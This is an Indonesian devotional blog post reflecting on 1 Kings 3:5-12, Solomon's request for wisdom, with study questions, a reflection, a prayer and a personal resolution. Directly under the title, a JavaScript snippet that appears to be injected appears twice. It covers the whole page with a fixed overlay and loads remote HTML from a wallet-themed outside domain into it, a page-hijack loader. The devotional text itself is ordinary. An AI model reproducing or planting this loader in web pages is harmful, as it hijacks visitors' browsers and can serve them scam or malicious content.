HIKMAT TUHAN YANG KUPERLUKAN

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Rabu, 26 Juli 2023

1 Raja-raja 3 : 5 – 12

Pengantar

Ketika ada yang menawarkan pada Saudara kekuasaan, kekayaan dan panjang umur bagaimanakah respons Saudara? Langsung menerimanya, atau ragu-ragu, atau bahkan merasa bingung dan tidak mengerti maksud dari tawaran tersebut? Dalam 1 Raja-raja 3:5-12, tercatat bahwa Tuhan menawarkan kepada Salomo untuk meminta apapun, dan pasti akan dikabulkan. Bagaimanakah respons Salomo? Bagaimana pula respons Tuhan? Mari kita renungkan.

Pemahaman

Ayat 5          : Apa yang dialami oleh Salomo? Apa yang ditawarkan Allah kepada Salomo?

Ayat 6-9      : Apa jawaban Salomo atas tawaran Allah? Ayat 10-12 : Bagaimana tanggapan Allah atas jawaban Salomo?

Saat Salomo mempersembahkan seribu korban bakaran di Gibeon, malamnya Tuhan menampakkan diri pada Salomo dalam mimpi, menawarkan untuk meminta apapun, dan pasti akan dikabulkan. Ini menunjukkan bahwa Salomo mempunyai kedekatan hubungan dengan Tuhan yang disembahnya dan yang juga disembah oleh ayahnya Daud.

Dari ayat 6-9 kita tahu bahwa Salomo benar-benar mengenal Tuhan Allahnya. Ia tahu bahwa Allah sebenarnya mengerti apa yang diperlukannya sebagai raja dengan usianya yang masih muda dan belum berpengalaman dalam memimpin umat pilihan Allah yang sangat besar. Oleh karenanya Salomo hanya meminta hikmat agar mampu membedakan yang baik dan buruk. Hikmat yang dari Allah ini diyakini Salomo akan membuat dia dimampukan Allah untuk bertanggungjawab atas kepercayaan yang Tuhan berikan

sebagai raja dan untuk kepentingan umat-Nya yang dipimpinnya.

Allah memandang baik atas permintaan Salomo, karena yang ia minta bukan untuk dirinya tetapi untuk umat Allah yang ia pimpin. Ini menunjukkan bahwa Salomo tidak mementingkan diri sendiri tetapi ia memikirkan orang lain dalam hal ini umat Israel. Bahkan karena Allah memandang baik atas permintaan Salomo, Ia memberikan apa yang tidak Salomo minta, yaitu kekayaan dan kemuliaan.

Apa yang dilakukan Salomo boleh menjadi contoh yang baik untuk kita sebagai anak Allah. Salomo meminta kepada Allah bukan untuk memenuhi egonya tetapi agar dapat melaksanakan tugas pemberian Tuhan. Marilah kita mulai bertanya di mana Tuhan dan sesama akan kita tempatkan dalam setiap pilihan dan keputusan kita. Biarlah dengan hikmat Tuhan kita bisa memilih dengan benar.

Refleksi                                                                 

Mari kita renungkan, apakah kita sudah melibatkan Tuhan dalam setiap keputusan yang kita ambil? Apakah keputusan yang kita ambil itu berorientasi hanya untuk Tuhan dan sesama, ataukah untuk diri kita sendiri?

Tekadku                                                                

Doa: Bapa surgawi, mampukan saya untuk selalu melibatkan Engkau dalam mengambil setiap keputusan, agar keputusan yang hamba ambil benar-benar adil serta bijaksana sesuai kehendak- Mu. Amin

Tindakanku                                                           

Setiap mengambil keputusan, saya akan selalu meminta hikmat dari Tuhan agar pilihan dan keputusan yang kuambil sesuai dengan kehendak Tuhan.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *